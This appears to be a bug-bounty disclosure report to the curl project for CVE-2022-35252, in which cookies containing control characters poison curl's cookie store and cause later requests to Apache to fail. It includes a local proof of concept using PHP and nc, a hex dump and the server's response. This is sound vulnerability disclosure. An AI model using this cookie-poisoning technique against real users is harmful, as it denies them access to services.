13 CVE-2022-35252: control code in cookie denial of service

Share:

TIMELINE

haxatron1 submitted a report to curl. Jun 26th (5 months ago)

Summary:

I took a look at https://github.com/curl/curl/pull/9048/commits/d7bcbc7d8d4b6d972d3da12d54819169a19c287b (a sneak peek on a vulnerability to be announced tomorrow). My guess for that vulnerability is that since cookies are persistent, someone who can trick curl into storing cookies can store large amounts of cookies into curl cookie store, which will prevent curl from ever interacting with the server (due to large request being generated causing a 400 error)

I found a separate way to do this, curl does not implement character check on cookie name or value when saving to cookie store. So for example a form feed '\f' can be saved in curl's cookie store. When form feed is sent by curl to a server such as Apache, Apache will respond with 400 Error (historically, Apache would accept, however now due to HTTP smuggling concerns, Apache will now strictly reject any such control characters.), preventing someone from ever interacting the server with the cookie store.

According to the spec, cookies should not contain control characters anyway, see https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.1.

Steps To Reproduce:

1.

In test.php,

Code 218 Bytes Wrap lines Copy Download

```
1  <?php
2  echo("HTTP/1.1 200 OK\r\nDate: Fri, 29 Apr 2022 10:11:55 GMT\r\nServer: Apache/2.4.43
```

```
1  php test.php | nc -nvlp 3333
```

2. Cookie with form feed is saved, see 0c byte before the 0a terminator

Code 41 Bytes Wrap lines Copy Download

```
1  curl -c cookies.txt http://127.0.0.1:3333
```

Code 754 Bytes Wrap lines Copy Download

```
1  ➜  ~ xxd cookies.txt
2  00000000: 2320 4e65 7473 6361 7065 2048 5454 5020  # Netscape HTTP
3  00000010: 436f 6f6b 6965 2046 696c 650a 2320 6874  Cookie File.# ht
4  00000020: 7470 733a 2f2f 6375 726c 2e73 652f 646f  tps://curl.se/do
5  00000030: 6373 2f68 7474 702d 636f 6f6b 6965 732e  cs/http-cookies.
6  00000040: 6874 6d6c 0a23 2054 6869 7320 6669 6c65  html.# This file
7  00000050: 2077 6173 2067 656e 6572 6174 6564 2062   was generated b
8  00000060: 7920 6c69 6263 7572 6c21 2045 6469 7420  y libcurl! Edit
9  00000070: 6174 2079 6f75 7220 6f77 6e20 7269 736b  at your own risk
10  00000080: 2e0a 0a31 3237 2e30 2e30 2e31 0946 414c  ...127.0.0.1.FAL
11  00000090: 5345 092f 0946 414c 5345 0930 0961 0962  SE./.FALSE.0.a.b
12  000000a0: 0c0a                                     ..
```

3. Apache will now respond with "400 bad request" on further request to the server using the poisoned cookie store. This because Apache rejects control characters other than \r or \n in the request head.

Code 698 Bytes Wrap lines Copy Download

```
1  * Trying 127.0.0.1:80...
2  * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
3  > GET / HTTP/1.1
4  > Host: 127.0.0.1
5  > User-Agent: curl/7.83.1
6  > Accept: */*
7  > Cookie: a=b
8
9  >
10  * Mark bundle as not supporting multiuse
11  < HTTP/1.1 400 Bad Request
12  < Date: Tue, 21 Jun 2022 04:09:08 GMT
```

```
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.43 (Debian) Server at 127.0.1.1 Port 80</address>
</body></html>
```

Impact

An attacker can possibly MiTM the connection and poison the cookie store using cookies with control characters, preventing a user / application from ever interacting with the particular HTTP server with the same cookie store.

Possibly same impact as the "cookie limit" vulnerability to be announced tomorrow.